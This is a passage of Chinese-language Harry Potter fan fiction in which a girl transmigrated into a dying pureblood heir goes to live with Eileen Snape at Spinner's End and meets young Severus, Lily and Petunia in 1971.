《【HP亲世代】和斯内普当养兄妹那些年》
1. 被改写的记忆
【……谢谢您的来信,以及对先母的悼念……我已经从阿莱西奥叔叔那里得知,您将照料我直至成年……我当然想去您家中居住,但愿这不会给您添太多麻烦……期待与您见面。
致以亲切问候,
Rosalia·Ravenshade】
写到落款时,女孩本能地抬头望向墙壁上的刻字,却又马上像意识到什么一样,迅速地重新压低脑袋。然而——
“哦……不会吧?”
那画像框还是立刻传出了尖细而夸张的动静。
一个“花腔女高音”压抑地说道:“我亲爱的小玫瑰,你刚刚在干什么?对照刻字拼写姓名吗?”
女孩瑟缩了一下:“……抱歉,玛丽安娜夫人。”(1)
“……好啊,我真是想不通了,”玛丽安娜夫人一脚踢开自己褶皱蓬松的裙摆,开始气呼呼地在画框里踱步,“你从三年前开始就这样了,脑瓜像被狐媚子啃过——你曾曾曾祖母在你这个年纪,已经能掌握几十个魔咒了,而你,下下个月就要去霍格沃茨上学了,竟然连名字都能拼错?我早跟凯瑟琳说过,和她当年一样给你请个家教得了,谁知道她——罗萨利亚·拉文谢德?你在听吗?”
罗萨利亚专注地折叠着信纸,一转头,正对上两只水灵灵的、疯狂眨动的大眼睛——手持火漆印章的家养小精灵正着急忙慌地暗示她回答画像的问题,于是,罗萨利亚茫然地回望玛丽安娜夫人,道:“啊?”
“……梅林的胡子啊!”玛丽安娜夫人就差从画框里钻出来了:“你是在开玩笑,对吧?你的记忆力——不,你的智力——我们家明明世代都是拉文克劳,你的祖先更是罗伊纳·拉文克劳的养女和得意门徒,你一半的姓氏都与智慧有关,而你却——”(2)
说着,她的画像一下子灰了几个色度,激昂的声音也低落下来:“你、你……不能怪你,你是病傻了的……这都要怪你那该死的曾曾祖父!他搞的实验把我们这个古老而辉煌的家族彻底毁了——拉文谢德走到今天,都要怪他……”
罗萨利亚顺着玛丽安娜夫人的视线,重新望向侧面的墙体。刻字“拉文谢德,永受渡鸦庇护的家族”之下,描画着密密麻麻的、山毛榉树形状的族谱:
蓬勃的树冠大概从一百年前开始诡异地收束,约三十年前断崖似的聚成了一截树干,最近也是最底部的根系则被蚁噬过一般几不可见。它们衔接处各有一行小字:第一句方方正正,叫“纯血的荣光终将复现”;第二句七扭八歪,叫“后世须禁止族内通婚”——
没有后世了,她的名字孤零零地落在最下面,头顶悬挂着“凯瑟琳·拉文谢德”。而往上看,所有与这个名字有联结的人,被一致地标记为:“死于遗传病”。
过了好一会儿,玛丽安娜夫人的画像才传来长长地叹息一声。她坐到椅子上,似乎决定不再谈论那些无力改变的事情了,问道:“你现在又在给谁写回信呢?十七天前我不是刚指导你回复了邓布利多校长和弗立维院长的哀悼信么?还是说,八天前你阿莱西奥叔叔在信中提到的那位委托人有消息了?”
家养小精灵劳伊适时地将封缄好的信笺递给罗萨利亚,后者点点头,慢吞吞说道:“是的,夫人,我是在回复临时监护人今早寄送的来信。”
“若不是阿莱西奥这几年身体也不好了,又怎么会委托外人来照顾你。”玛丽安娜夫人无力地说:“她在信里给你写什么啦?”
罗萨利亚道:“监护人在信中说希望我下周去她家里住。我说好。”
“……什么?她这么要求你?”玛丽安娜夫人难以置信地眨眨眼:“而且你还说‘好’?是拉文谢德堡容不下你了,还是劳伊干不了活了?这信你不许让穆宁寄(“嘎——”,一只渡鸦从窗外飞进来,落到书桌上了)。拉文谢德可是为此付了一大笔钱,她应该过来照顾你才对。”
“但是,玛丽安娜夫人,我得喝药啊。”罗萨利亚垂眼抚摸渡鸦的羽毛,短促地说:“本来就是我们有求于人家……阿莱西奥叔叔不是说,只有她成功熬制出了有效的稳定剂吗……”
“那是因为阿莱西奥太笨又太心软啦!聘请的巫师各个蠢如巨怪,只知道酿造残次品。这不,他都把自己喝进圣芒戈了。三年前你刚发病时,凯瑟琳就让他去为你找个靠谱的巫师——那时候她脑子还没长龙痘,有病的是阿莱西奥——他竟然挑了个在翻倒巷卖疥疮药水的邋遢女人,说什么想给老同学一个机会。哈!这药要是人人都能学会,拉文谢德现在至于只剩下你们两个活人吗?再说他能有什么靠谱的人脉啊?年轻时光打高布石去了……阿莱西奥就感谢梅林吧!三年时间,那个女人能成功也是撞大运了!哎——死丫头,你干什么——”
玛丽安娜夫人正絮叨着,一转头就看见渡鸦夺窗而去的背影,她惊叫地站起来,道:“你让穆宁去送信了?”
罗萨利亚呆呆地说:“啊,对啊。”
玛丽安娜夫人快要栽倒过去了。
而罗萨利亚站起身来,不紧不慢地道:“玛丽安娜夫人,我能回房间了吗?”
玛丽安娜夫人仿佛真的累了,坐回椅子上一句话也不肯说。女孩见状,微微欠身行礼,哼着歌、提着裙摆跳出了书房。
“咔哒。”
把卧室的房门关上后,女孩长长地吁出一口气。
她活动了一下肩膀,缓步走到床头柜边:那里摆放着今早临时监护人的来信,以及一张全家福。那是一张定格的麻瓜照片,表面有些旧划痕,背面潦草地写着“1968”。
照片上,一对夫妇把手搭在正中央男孩的肩膀上,而男孩那双黑漆漆的、略显空洞的眼睛,此刻正注视着她。
女孩平静地看了一会儿,转而捻起那封皱巴巴的、边角蘸着魔药喷溅印记的信纸,将它重新展开了。上面写道:
【亲爱的罗萨利亚·拉文谢德小姐,
请原谅这封写得匆忙的信。我想你已从你叔叔阿莱西奥那里得知我受托照料你的事情。关于你母亲的葬礼,我很抱歉没能出席……
……距离霍格沃茨开学尚有一段时日,也许你会愿意来我这里住上一段时间?如果你有这个意愿,下周我会前往拉文谢德堡接你……
……当然,你完全可以有自己的安排。我也相信,在家养小精灵的帮助
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下,你能够照顾好自己。不过,如果你想来拜访我们——大门随时为你敞开。无论你如何选择,我都将定期为你寄送必需的魔药……
随信附上我们的家庭住址与一张全家福,希望它能让你对我们留下良好的第一印象……】
致以亲切问候,
艾琳·斯内普】(3)
“斯内普。”
女孩再次念出了这个名字,就像她今早刚看到来信时那样。随后,她的嘴角扬起了一抹嘲讽的弧度:
“无论如何,凯瑟琳,我还是谢谢你吧……谢谢你‘养育’了我三年……尽管,你差点把我弄成一个终身的傻子……”
“但是现在,角色扮演游戏结束了。”
女孩深吸一口气——
她根本就不是凯瑟琳的女儿,她甚至都不是这个世界的人。
三年前,罗萨利亚·拉文谢德迎来了人生第一次、也是最后一次遗传病发作,就是那个晚上,她阴差阳错地从这具垂死的身体里醒来了。
巴洛克的装潢、会动的画像、悬浮的蜡烛……四周过于明显的特征,令她迅速联想到了小时候看过的《哈利·波特》系列书籍——穿越这种事,竟然让她碰上了。
然而,还没等她彻底反应过来,一直守在病床前的凯瑟琳·拉文谢德就忽然朝她抬起了魔杖——
真不知道凯瑟琳是怎么判断出她不是罗萨利亚的……反正,对方明显在试图把自己“纠正”成她女儿。可天不遂人愿,那个一忘皆空的魔咒在篡改她记忆的过程中发生了意外,她就这么倒霉地变成了一个傻子。
凯瑟琳·拉文谢德本来就无法接受女儿已经故去的事实,又亲手弄出了一个弱智,这下可算是精神崩溃了。
终于,三年后,在霍格沃茨录取通知书送来拉文谢德堡的那个晚上,她跑到“罗萨利亚”面前报复般地饮毒了断了。
那一幕——
只能说,幸好自己当时还是个傻子。
不过,今早过后,一切都发生了改变。
当读到艾琳夫人的落款、也就是“斯内普”这个名字时,她忽然像受到了刺激一般,脑袋剧烈疼痛起来,紧接着,那些有关原著和自己前世的记忆就一股脑地回来了。
女孩缓慢吐出了憋在胸口的浊气。
说不割裂和愤怒那是假的,任谁被剥夺了自由意志又万幸地清醒过来都会后怕的,但是她已经不想纠结自己到底是谁了。“罗萨利亚”也不过是一个名字而已。至少现在,她清醒地活着——
而且马上就要前往蜘蛛尾巷了。
话说回来,自己穿越导致的蝴蝶效应可真够巨大的。拉文谢德这个家族她闻所未闻,更莫名其妙的是,斯内普的妈妈艾琳·普林斯竟然会被牵扯进来、成了她的临时监护人……
也就是说,自己很快要和西弗勒斯·斯内普当上“养兄妹”了。
造化弄人啊……
罗萨利亚又盯着信笺发了一会儿呆,随后珍而重之地把它折叠起来了。
阵阵微风吹拂过发梢,她往窗外看去,外面阳光明媚。
此时,正是1971年的夏天。
2. 1971年的蜘蛛尾巷
1971年,这个时间对于原著来说还是太早了。现在,别说哈利波特大战伏地魔的主线没开始,就连救世主的父母也不过刚到上学的年纪。
可这一年又是特殊的。
今年,不止是她和西弗勒斯·斯内普,哈利波特的父母詹姆斯·波特、莉莉·伊万斯,以及小天狼星·布莱克、莱姆斯·卢平、彼得·佩迪鲁等人,也将正式进入霍格沃茨就读。
换句话说,他们将成为同级生。而在未来十年,不出意外的话,罗萨利亚也会经历伏地魔从崛起到大杀四方再到短暂衰亡的全部过程。
更不幸的是,原著中对第一次巫师战争的描写少得可怜,她现在就像拿着明年的□□和一份乱七八糟的小抄在参加今年的统一招生一样。
此时此刻,比起管别人在书写什么,罗萨利亚更在乎自己能不能顺利考完——她必须要有能在第一次巫师战争期间自保的本事。
所以,前往霍格沃茨学习魔法、强化自身能力,对现在的她来说是最重要的事。
至于其他的……罗萨利亚忍不住回想起那张全家福。但她很快又有点冷漠地心想:不改变剧情的话,自己至少还有点“预知”优势,若轻易干涉,谁知道未来会发生什么变动?她本来也没有当救世主的天赋……
总之,先走一步看一步吧。
不过,有艾琳夫人这层关系在,自己未来无论如何都跟斯内普脱不了干系。她还是需要和他搞好关系的。
那么,事已至此,比起继续待在拉文谢德堡,就不如直接搬去蜘蛛尾巷了——这才是她写那封信的主要原因——还能通过斯内普快速结识莉莉·伊万斯。这样也算是“黑白通吃”了。
就是应对斯内普那粗鲁又讨厌魔法的父亲可能会有点麻烦……但不要紧,她又不是真的十一岁小孩。这样想着,罗萨利亚开始收拾行李。
除了生活用品,她真正要带上的东西其实只有两样:首先是最重要的、也是凯瑟琳夫人留给她的遗产之一——一根长十二英寸长,以不易弯曲的胡桃木为材质、凤凰羽毛为核心的魔杖。
据玛丽安娜夫人说,这根魔杖并非出自奥利凡德之手。它在家族中传递已久 ,年龄已不可考,却很挑剔、极少选择主人。凯瑟琳夫人也只是使用它。
但罗萨利亚能感觉到自己被它选中了。它现在已是她的魔杖。
然后是信使。罗萨利亚需要带上自己的渡鸦穆宁。渡鸦是拉文谢德家族传统的信使。
至于剩下的,可以等到去对角巷的时候再买。这段时间,她倒是可以想想给斯内普一家准备点见面礼物……
时间很快来到艾琳夫人来接她的日子。
罗萨利亚最后检查了一遍自己的物品清单,确定没有遗漏后,就把它们一起打包进了施有无痕伸展咒的魔法手提箱里。
拉文谢德堡没有连接飞路网,并设有禁止幻影移形的魔咒,所以艾琳夫人是不会直接出现在她家里的。按照约定,她需要到山脚下的车站等候对方。
林间晨雾刚刚散去,罗萨利亚就已经收拾妥当,准备出发了。
“等等!”
一个声音从走廊另一头传来。
玛丽安娜夫人跨过诸多酣睡的画像朝她靠近,一同前来的还有手捧蓝色兜帽斗篷的家养小精灵劳伊。
玛丽安娜夫人摇头掐腰:“小玫瑰,你招呼都不和我打一声就要走?”
罗萨利亚说:“我、我以为您还在生气呢……”
“我当然还在生气。”玛丽安娜夫人咳嗽一声:“但你毕竟要离开家了,我决定送送你——现在,穿上遮阳斗篷吧,别让太阳晒坏了你漂亮的脸蛋。”
罗萨利亚笑了笑,弯下腰方便劳伊给她系好斗篷。斗篷明显宽大,劳伊一记响指给她改良成了贴身的款式。
“东西确定都带齐了吗?”
“齐了。”
“算了,不齐你也可以喊劳伊帮你送,是不是?你不需要它把你送去车站吗?”
“我认识路,可以自己走……”
“好吧,那么……去吧,罗萨利亚,路上注意安全。”玛丽安娜夫人慢吞吞说。
罗萨利亚眨眨眼:“玛丽安娜夫人,我会想念……你的唠叨的。”
玛丽安娜夫人:“……梅林的胡子!你有点聪明都用在这上面了。算了,本来我也没想要煽情。一路顺风——别委屈了自己,听到了?有人欺负你可要记得还手,你知道阿莱西奥写不了吼叫信的。”
“一路顺风,主人!”劳伊说道。
“我知道了——再见、再见!”
她挥了挥手,没有回头。
在车站,艾琳夫人就是靠着罗萨利亚这套蓝色兜帽斗篷认出她的。
“哦……我还以为自己看到了翻版的小红帽。”
罗萨利亚闻声回头,一个形容消瘦、面色略显疲惫、穿着朴素的女巫正快步向她走来。
“上午好,艾琳夫人。”罗萨利亚也猜出了她的身份,打招呼道。
“上午好,你一定是罗萨利亚·拉文谢德?你的气色比我想象中要好。”艾琳夫人说这话时搓了搓手。罗萨利亚留意到她的手上有一块黝黑的伤口。
艾琳夫人下意识抬手遮挡了一下:“我……这是熬制魔药留下的痕迹,但那天给你写信的时候,托比亚粗手粗脚地碰倒了我装有龙血的瓶子……过两天它会自己消失,不是什么大问题。”
恐怕并非粗手粗脚。但拆穿别人想隐瞒的事并不礼貌,何况艾琳夫人目前为止都表现得十分温和客气。她一向不会主动让别人难堪。
于是,罗萨利亚主动转移了话题:“或许幻影移形时,我可以牵着您的另一只手?”
艾琳夫人点头:“当然。我会尽量让你在幻影移形中不那么难受。顺便一问,你吃早餐了吗?”
罗萨利亚早有准备:“没有,夫人。”
拉文谢德堡到科克沃斯的距离既不算远也不算近,但考虑到她是一个十一岁小孩,艾琳夫人用了两次幻影移形才抵达蜘蛛尾巷附近的一处草坪。
“你比我想象的要更适应这种出行方式。”艾琳夫人伸手整理了一下罗萨利亚的碎发。
罗萨利亚惨白着一张脸:“我吗?”
要不是没吃东西,现在她保准趴在哪个地方吐呢。
“当然。”艾琳夫人道,“说真的,我还挺高兴你能来的。对了,我有没有跟你提过,我儿子西弗勒斯今年也会去霍格沃茨上学?他平时要么在外消失一整天,要么闷在自己房间里不出来。现在有了同龄人,或许他会开朗些。”
这就有点高看她了。罗萨利亚心想。何况,这个时候斯内普也并不是没有同龄人做伴,他和莉莉应该早就成为朋友了——而莉莉都做不到这一点呢。
由此可见,艾琳夫人确实匀不出多少精力来关注斯内普。即便她内心一定在乎着他——否则,三年前,她就不会去翻倒巷赚零钱,继而遇上阿莱西奥,并在他的支持下开始练习熬制克制拉文谢德遗传病的魔药了。
但是,显然,阿莱西奥在作出委托决定时,并没有考虑到“丧偶”家庭中母职的重担。再养一个“女儿”不会是轻松的事。但愿自己不会
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分走太多艾琳夫人的精力吧。
罗萨利亚决定表现得乖巧一些:“我也期待能和您儿子成为朋友。”
“那真是太好了。”艾琳夫人笑了。
蜘蛛尾巷的烟囱林立。罗萨利亚提着裙摆绕过地上的污水。这里的氛围阴暗逼仄,比起依山而建、宽敞明亮还自带花园的拉文谢德堡来说可以说是差远了。
不知从什么时候起,走在前面的艾琳夫人没有再回头关注她的脚步。或许她是不想对上自己的眼睛吧,因为这样,就需要说点什么来粉饰蜘蛛尾巷的环境了。
“我们到了。”
艾琳夫人停在了一栋陈旧而狭窄的楼房前。罗萨利亚后知后觉地担忧起来:斯内普家的空间,真的能塞下一个她吗?
“这个时间,托比亚应该已经上班去了。”艾琳夫人飞快地说。她开门进屋,喊了一声:“西弗勒斯?你在吗?”
虽然明白相见是迟早的事,但罗萨利亚的心还是随着她的这句呼唤提了起来。
好在,屋里没人回应。
“好吧,他又跑哪里去了……”路过餐桌时,艾琳夫人的眉头都绞在了一起:“满桌子的面包屑。”
一转头,她似乎意识到屋子里还有罗萨利亚这个沉默的存在,紧接着补充了一句:“就算快迟到了,也不该这么莽撞,是不是?”
罗萨利亚不知道该怎么接这话,只好附和地点点头。狼狈的餐桌近在眼前,她能闻得出这顿早餐并不那么美味。此外,她还注意到,虽然桌上摆有两张盘子,可食物残渣却只集中在其中一边——就仿佛只有一人曾坐在那吃饭似的。
“来吧,让我带你认认房间。”艾琳夫人尴尬地用身体挡住餐桌,说:“住在蜘蛛尾巷的好处就在于,去哪个房间都花不了几秒时间,非常快捷,尤其是当你需要长时间监督魔药的时候…”…
“刚才是客厅,现在是厨房,这边是托比亚的书房——哦他坚持保留,虽然我也不见他进去看过几次书——还有卫生间……好的,二楼是我们的房间,左边是我和托比亚的卧室,右边是西弗勒斯的。然后这一间——”(1)
艾琳夫人推开走廊尽头房间的门,罗萨利亚在她的示意下走了进去:房间有点狭小,但是比预想的要整洁。唯独墙壁上有魔药飞溅的印子。
“就是你的房间,罗萨利亚。”艾琳夫人把房间钥匙放在她手上,说道:“呃……这里本来是我熬制魔药的地方……改造它的花销是你叔叔出的,只是粉刷墙壁有些来不及了,等你们去上学,我再找时间修饰。”
罗萨利亚问:“那您的魔药器具呢?艾琳夫人?”
艾琳夫人努力微笑着:“哦,我把它们放在楼梯间了。我在那里也一样可以工作,请你放心。”
“艾琳夫人,我真心希望您能把魔药有关的书籍还有器具放回来。”罗萨利亚看着她说道:“这样更方便您熬制魔药。而且,我还打算请教您一些魔药有关的知识呢。”
闻言,艾琳夫人愣愣地问:“但是那些东西很占地方……你的行李怎么办呢?”
罗萨利亚说:“夫人,不用担心,我的手提箱有伸展魔法。”
“哦这真的……很不错!”艾琳夫人飞快地眨了眨眼,说出的话有些结巴:“那我,从楼梯间挑一部分必要的放回来?你确定?”
罗萨利亚回答:“我确定。而且您使用它们的时候,如果我能允许我在旁边帮忙就更好了。我想这会对我的魔药学习很有利。”
艾琳夫人抿起嘴,重重地点了点头:“……好的。很好。那我就去……楼梯间一趟。”
3. 莉莉、佩妮与西弗勒斯
当一切都安置妥当时,太阳已经升到了天空最高点。艾琳夫人再次路过餐桌时,忽然倒吸一口气,惨叫道:“梅林的胡子,这太不好了!”
“你说过你没吃早餐,可现在都过了中午了,我竟然忘了这回事!”艾琳夫人一边收拾残渣一边自责地说。
罗萨利亚不紧不慢地道:“不用担心,夫人。幻影移形本就弄得我吃不下东西。不过现在我确实有些饿了,能劳您给我弄些吃的吗?”
“当然。”艾琳夫人马上转身前往厨房,可旋即她像是看见了谁似的动作一顿,推开窗户喊道:“西弗勒斯,是你吗?”
罗萨利亚下意识顺着她的目光看去,却只看到拐角有一抹深红色的头发掠过。那可不是斯内普的发色。
“奇怪……我似乎看到他了。”艾琳夫人只是嘟囔着拿出厨具,看起来没心思探究那个影子是谁。她又对一旁的罗萨利亚解释道:“西弗勒斯总是这样,不用担心,我早上给他留了饭的,而且,他晚上肯定就回来了。”
罗萨利亚想起了那些残渣,不禁问道,“……艾琳夫人,您确定斯内普早上有吃过饭吗?”
“当然了,我今天准备的早餐已经都被吃完了。”艾琳夫人笑了笑,似乎不能理解罗萨利亚为什么这么发问,她更好奇的是另一个问题:“你怎么不直接喊他的教名西弗勒斯呢?你们是同龄人呀。对了,你是几月生的?”
“……和情人节是同一天。”
“噢——你比西弗勒斯小一个月。情人节……这是个很好的日子不是吗?”艾琳夫人忙碌的同时细碎地说道:“如果别人在这一天送你的生日礼物的话,会不会被当成情人节礼物呢?当然我是说你长大以后,你现在还小……”
闲聊过后,一份温热的三明治终于被端上桌。罗萨利亚将它快速塞进自己的嘴里,结束了这次对她来说略感生硬的聊天。
午餐过后,罗萨利亚主动提出想去外面走走,艾琳夫人欣然同意。
“说不定你能碰见在附近闲逛的西弗勒斯。”她说这话时看起来很乐观。
不过罗萨利亚确实也是这么想的。
她吃三明治的时候就一直在思考那抹身影的事。直觉告诉罗萨利亚,斯内普那个时候确实在附近,而那抹红发属于另一个与他相识的人——莉莉·伊万斯。
好奇心是藏不住的。在听到自己玩伴家中住进了一个新的女孩后,有几个十一岁小孩能按捺住想要窥探的心呢?与斯内普的逃避相对应的,当然就是莉莉的探究欲。
与其说是罗萨利亚要去寻找斯内普等人的身影,不如说是她准备给莉莉、斯内普、以及可能也跟来了的莉莉的姐姐佩妮这三人一个打量自己的机会。
这样想着,罗萨利亚的身体已经游荡出了斯内普家。她一路飘进小树林,然后在小河边的找了一块有树荫的石头上坐下歇息。
斑驳的树影映在湛蓝色的裙摆上,披散着乌黑卷发的女孩仿佛是天空投下的碎片。
至少,在莉莉和佩妮眼中是这样的。
佩妮情不自禁地说:“我喜欢她裙子的风格,看上去很古典……”
莉莉则作出“嘘”的手势,用更低的声音说:“再小声点。或者,我们可以直接去和她打招呼?你觉得呢,西弗勒斯?”
比起探头探脑的两姐妹,西弗勒斯·斯内普则完全躲在粗壮的树干后面,连影子都藏匿得很好。他看起来心情不佳,像是被强拽到这里的。
莉莉明显看出了他的别扭,说:“你躲着她也没用,是不是?往好处想,以后又有新朋友和我们一起玩了。”
斯内普终于开口:“可她也是个巫师。”
莉莉轻声说:“没错,我们都是巫师,这有什么问题?还是说你更希望有人能陪佩妮作伴?”
佩妮听了这话,脸色却有些不好,像是想到了什么不愉快的事情。她没能忍住心里的不悦,声音尖细起来道:“陪我作伴?你是在关心我?”
“嘘!嘘!”
莉莉赶忙拉着佩妮往斯内普身边靠了靠。斯内普有些僵硬地后退一步,被迫成为放哨人,朝那个女孩刚才在的位置望去——
“她不在那里。”
“什么?”莉莉和佩妮一起转头。
“抓到你们了。”
一道声音从他们身后响起。
佩妮“啊”地尖叫一声。紧接着一阵落叶雨劈头盖脸地撒下来,除了罗萨利亚,几人都没能幸免——因为她带了魔杖出来。
佩妮捂着脸,喃喃:“这是……我干的吗?”
莉莉被落叶激起的灰尘呛得咳嗽:“不……咳咳……可能是我……”
斯内普的脸色在惊讶、不悦和其他更隐秘的情绪之间变幻着:“你有魔杖?你为什么戏弄我们?你怎么做到的?”
罗萨利亚没有看斯内普,也没有回答他,只是用一副意外的模样望向莉莉:“我以为我们在捉迷藏。还是说……难道你们在跟踪我?”
“你还没回答……”
“没有,这是一个误会,真的!”莉莉飞快地瞪了一眼斯内普,随后有些羞赧地解释道。
“哦……原来只是误会。”罗萨利亚慢吞吞道。
“不。这是因为斯内普不想见你。”佩妮说完,故意瞥了一眼斯内普:“他之前还跟我们说,你是个傻子。”她嘴角微微上扬,显然对此幸灾乐祸。
斯内普背着莉莉用眼神冷冷地剜了佩妮,又马上去看罗萨利亚的反应,可后者却似乎对“傻子”这个称呼一点儿怒意都没有。
为了满足佩妮的期待般,罗萨利亚终于朝他看了过去,说:“所以你就是西弗勒斯·斯内普。”她说完,却没有给斯内普张嘴的机会,紧接着盯着他的双眼又道:“确实,你有和你妈妈一样的眼睛和头发。”
这话令斯内普本来握紧的拳头松开了,可他很快又把它攥了起来,仿佛有些懊恼:“你早就看过照片。”
“没错。我只是再确认一下。”罗萨利亚大方承认,然后微微欠身:“我是罗萨利亚·拉文谢德,我为你们受到的惊吓道歉。”
“不,你不需要道歉。斯内普也绝没有讨厌你的意思……”莉莉上前一步,道:“我是莉莉·伊万斯。我也是个巫师。这位是我的姐姐佩妮。嘿,我们要不要边走边聊。”
“当然。”罗萨利亚说道。
几人沿着小河散步,夏日的艳阳在潺潺水声的洗涤下仿佛变得不那么热烈。
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佩妮手里握着几片叶子抛来抛去,似乎还沉浸在之前突发的落叶雨上,她前面是跟着莉莉一言不发的斯内普。
罗萨利亚和莉莉并肩走在最前面。
“我听西……”莉莉回头看了一眼斯内普,罗萨利亚知道,她正充当斯内普的猫头鹰。她接着说:“我听西弗勒斯说过艾琳夫人给你准备房间的事情。你为什么会突然搬到这里住呢?我们之前从未听过你的名字。”
“确实有些突然。”罗萨利亚低着头,缓缓解释了监护人的事情:“母亲去世后,本来是指定了阿莱西奥叔叔作为我的监护人的,但他病得太重了,没办法照顾我,所以就委托了艾琳夫人。在这整件事上,我是没有选择的余地的。”
莉莉在听到“母亲去世”后就开始频频回望斯内普。她似乎想传达什么,又好像在渴求能从对方那张垂着的、苍白的脸上找到什么信息。她最终说:“哦我真的很抱歉……关于你母亲……我没想到是这个原因……”
“即使叔叔支付了抚养费,我也不想给艾琳夫人添太多麻烦。毕竟严格来说,她只是负责照料我罢了。”罗萨利亚接着轻声说:“尤其是艾琳夫人为了让我有自己的空间,还腾挪出了她的工作室。”
斯内普听到这里抬起了头,罗萨利亚能感觉到他的目光。她假装没看见,接着说:“但我提议让艾琳夫人把器具和书籍搬回来,这样会更方便她制作魔药。而且我对魔药其实挺感兴趣的,到时候可以在旁边帮忙。午饭前我们就已经收拾好了。”
莉莉脸上是掩饰不住的喜悦:“真是太好了!看来你和艾琳夫人相处得很好。”
斯内普终于出声了:“你对魔药感兴趣?”他语气里满是怀疑:“那你说说,把水仙根粉末加入艾草浸液能得到什么魔药?”
“一种名为生死水的强效安眠药。”罗萨利亚停下脚步,侧身反问道:“你难道不知道拉文谢德是药罐子家族吗?艾琳夫人目前的工作就是为我熬制稳定剂。你觉得我对魔药会不感兴趣吗?这简直就像是在说‘我对活下去不感兴趣’一样。”
斯内普没有立即说话,只一味地盯着她看,似乎试图从她的神情中找到破绽。然而罗萨利亚知道怎么表现能显得自己从容自若。
果然,他没有再问下去了——他若是再问下去,她恐怕就要露馅了。
罗萨利亚委实没想到,斯内普魔药课堂的刁钻提问风格在他这么小的时候就已初见端倪,还好考的是原题——她心知自己做不到次次对答如流,便只好抛出问题反客为主了。
此时,莉莉往两人中间迈了一步,出面调停道:“好吧,你们说的有关魔药的话题很有意思,但我更想知道……”
“抱歉小姐。请允许我打断你。”罗萨利亚没有选择趁机打住,而是完全转过来面朝斯内普。此刻,就连走在队伍后面的佩妮也因为她严肃的神情不自觉停下。
罗萨利亚道:“斯内普先生,如果你对我还有什么不满,还是趁现在都告诉我吧。在此之前,我也要告诉你一件事:我不是一个入侵者,我不打算破坏现有的一切,也没必要讨好任何人。”
“如果你不相信,没有关系,时间可以检验一切。未来我们相处的时候还多着呢。”
4. 拉近关系的连环计
有些话现在不说,以后可能就没机会了,所以罗萨利亚干脆一股脑全讲了出来。她语气轻松:“我说完了。轮到你了。”
斯内普冷冷道:“我没什么想说的。拉文谢德,但你最好是言行一致。藏好自己的尾巴,否则……”他没有继续说下去。
紧绷的气氛停顿住了。莉莉赶忙用期待的语气说:“让我们快点结束这个话题吧,我相信误会都已经解开了?”
“什么误会?我觉得罗萨利亚压根没做错什么。”佩妮好似拿定主意要唱反调,她来劲地说道:“如果不是没法选‘家长’,她为什么要上赶着住进又小又脏的纺织巷?”
“佩妮——”莉莉说。
斯内普像是无法再忍受下去那般喊道:“就是她主动要来的!”“因为我没有朋友。”
“……什么?”他扭过头来。
罗萨利亚慢吞吞说:“来蜘蛛尾巷的事确实是我决定的,因为……我没有朋友。”
“我之前……病得很严重,几乎无法出门,也很少和外人交流。偶尔气色不错的时候,母亲会带我出去,但没有人和我玩。连小孩也更喜欢本身就生活在阳光下的人,不是吗?”她叹了一口气,用一种难以启齿的语气说:“所以,当艾琳夫人寄信给我,说她有一个和我同岁的儿子,可以和我做朋友的时候,其实我很……我很……期待。”
斯内普一动不动地望着她,嘴巴微微张开了。
“所以我就告诉艾琳夫人,我想来。”罗萨利亚微微别过脸去,说:“但是我把事情想得太简单了,显然,你们有自己的交际圈。是我再次不合时宜了。”
莉莉闻言,上前握住罗萨利亚的手,语气动容地说:“不!不,罗萨……我可以这么喊你吗?你也是被期待着的,我发誓,我就很想认识你。我很高兴你能跟我们说这么多,难道现在我们还不是朋友吗?”
“莉莉……”罗萨利亚的睫毛颤动,勉强盖住眼中的氤氲:“你真好……”
佩妮“哼”了一声,将手里的树叶全部扔掉,语气怪异地说道:“我渴了。我要回家喝水。你们继续留在这儿玩吧。”
说完,她转身就往树林外走去,然而走了十几步,她又停下来,像是在等谁,偏偏她又不好意思僵站着太久,只好回头喊道:“莉莉!你是要跟我走,还是要继续‘斯内普一家’待在一起?”
莉莉握着罗萨利亚的手,有些进退两难,她最终喊道:“我待会儿再去找你!”
佩妮的脸顿时变得通红,她牙齿发颤:“不用你跟着我了!”随后就向游乐场跑去。
握住她的那双手在颤动,罗萨利亚能感觉到莉莉在动摇,于是说:“没事的,佩妮看起来更需要你,莉莉。我们明天可以再见面,不是吗?”
莉莉放开了她的手,感激地说道:“罗萨,你真是个善解人意的人!”
说罢,她又和呆站在一边的斯内普挥手告别,然后追着佩妮离开的路径跑去。
树林里就剩下了罗萨利亚和斯内普。
罗萨利亚首先开口,不慌不忙地说:“你看了我叔叔的信,是吧?我是说那个‘傻子’的称呼。”
斯内普眼中闪过一丝不自然,生硬地说:“他对你的认识显然有问题。”
“因为他就没见过我几次。”罗萨利亚道:“那你现在对我有别的评价了吗?”
斯内普说:“你很狡猾。”
罗萨利亚歪歪脑袋,笑了:“好的。”
她也许确实很狡猾,但至少不是没安好心。罗萨利亚扪心自问,她只是选了一条最快捷的方式,一推一拉、先扬后抑地拉近了和他们的关系。尤其针对斯内普,她花了一点小心思:
比如先刻意忽视他和他的问题,把他晾在一边,再辅以忽硬忽软的态度,用“朋友”这个借口牵制住他——于是,他前前后后的注意力就全都不自觉地落在她身上了。
或许他能直觉地察觉出她的一些手段,但永远无法确认它们。不论如何,她的目的达到了。
“你饿吗?”罗萨利亚突然问。
斯内普不明所以,警惕地问:“什么?”
罗萨利亚说:“艾琳夫人说你经常不吃午饭,今天中午你也确实没回来。”
母亲的名字似乎令斯内普的态度缓和了一些,他轻声道:“我不饿。”
罗萨利亚随口说:“但你这样容易长不高。”
斯内普:“什么意思?”
罗萨利亚言简意赅:“字面意思。”
斯内普嘴角下拉,转身迈步离开,说:“我要回去了。你随便吧。”
罗萨利亚三步并作两步跟上他:“一起吧。我觉得艾琳夫人见到我们在一块儿会欣慰的。”
“她不会关注这个。”
“我不这么认为。”
说完,斯内普又往前迈了一大步,他似乎想要不动声色地拉开些距离,可不幸的是,罗萨利亚察觉了。她忽然觉得这样很有趣,便装作毫无知觉的样子,又很快贴近他。
几个来回过后,斯内普的脚步变得愈发急促,他扭头问:“为什么?”
“因为艾琳夫人确实希望我们能成为朋友。”罗萨利亚随口道,低着头,又把脚步又贴了上去。
“我是说,”斯内普皱着眉头停下来了,“你为什么要离我这么近?”
闻言,罗萨利亚抬眼,困惑般“哈”了一声:“我们不是在聊艾琳夫人吗?”
斯内普用视线把她从鞋跟到发丝的每一寸都扫视了一遍,随后揪住了自己身上宽大的外衣。这动作使得他里面那件孕妇服稍显服帖,也显得他离她更远了。
他说:“你肯定有别的原因。”
